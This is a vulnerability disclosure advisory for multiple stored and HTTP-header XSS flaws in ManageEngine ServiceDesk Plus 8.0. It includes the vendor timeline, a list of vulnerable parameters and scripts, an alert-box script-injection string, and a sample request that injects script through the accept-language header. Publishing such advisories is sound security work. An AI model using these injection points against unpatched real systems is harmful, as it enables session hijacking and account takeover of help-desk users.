ManageEngine ServiceDesk Plus 8.0 Cross Site Scripting

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ManageEngine ServiceDesk Plus 8.0 Multiple Stored XSS Vulnerabilities  
  
  
Vendor: Zoho Corporation Pvt. Ltd.  
Product web page: http://www.manageengine.com  
Affected version: 8.0.0 Build 8013 (Enterprise)  
  
Summary: ServiceDesk Plus integrates your help desk requests  
and assets to help you manage your IT effectively. It helps  
you implement ITIL best practices and troubleshoot IT service  
requests faster. ServiceDesk Plus is a highly customizable,  
easy-to-implement help desk software.  
  
Desc: The application suffers from multiple stored XSS  
vulnerabilities. Input thru several parameters is not  
sanitized allowing the attacker to execute HTML code  
into user's browser session on the affected site. Also,  
couple of HTTP header elements are vulnerable to XSS.  
  
Tested on: Microsoft Windows XP Professional SP3 (English)  
Apache-Coyote/1.1  
Java Servlet 2.4  
Tomcat-5.0.28/JBoss-3.2.6  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
liquidworm gmail com  
Zero Science Lab - http://www.zeroscience.mk  
  
  
Vendor status:  
  
[23.07.2011] Vulnerabilities discovered.  
[26.07.2011] Vendor contacted.  
[26.07.2011] Vendor replies asking more details.  
[26.07.2011] Sent vulnerability details to vendor.  
[26.07.2011] Vendor confirms XSS issues assigning Issue ID: SD-39838.  
[01.08.2011] Requested status update from vendor.  
[02.08.2011] Vendor replies.  
[03.08.2011] Working with the vendor.  
[08.08.2011] Asked vendor for scheduled patch release date.  
[08.08.2011] Vendor replies.  
[09.08.2011] Working with the vendor.  
[16.08.2011] Vendor releases build 8015 to address these issues.  
[23.08.2011] Public security advisory released.  
  
  
  
Advisory ID: ZSL-2011-5039  
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5039.php  
  
Vendor Advisory: http://www.manageengine.com/products/service-desk/readme-8.0.html#8.7  
  
  
23.07.2011  
  
  
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Stored XSS (post-auth):  
  
Param: reqName (POST)  
Scripts: WorkOrder.do, Problems.cc, AddNewProblem.cc, ChangeDetails.cc (http://localhost:8080/common/UpdateField.jsp)  
  
Params: reqName, description, level, priority, category, title, attach (POST)  
Script: WorkOrder.do  
  
Params: keywords, comments (POST)  
Script: AddSolution.do  
  
Params: supportDetails, contractName, comments (POST)  
Script: ContractDef.do  
  
Param: organizationName (POST)  
Script: VendorDef.do  
  
Param: COMMENTS (POST)  
Script: MarkUnavailability.jsp (MySchedule.do)  
  
  
Attack string: "><script>alert(1)</script>  
  
--  
  
  
HTTP Header XSS:  
  
Elements: referer, accept-language   
Scripts: HomePage.do, MySchedule.do, WorkOrder.do  
  
------------  
GET /HomePage.do HTTP/1.0  
Accept: */*  
User-Agent: joxy-poxy  
Host: localhost:8080  
Cookie: JSESSIONID=AD4D28ADDB611A3DE6EAC2C6B4C8808E;JSESSIONIDSSO=B1F6034451E9457EEEF3DA09BA424247  
Connection: Close  
accept-language: 1<script>alert(1)</script>  
Pragma: no-cache  
------------  
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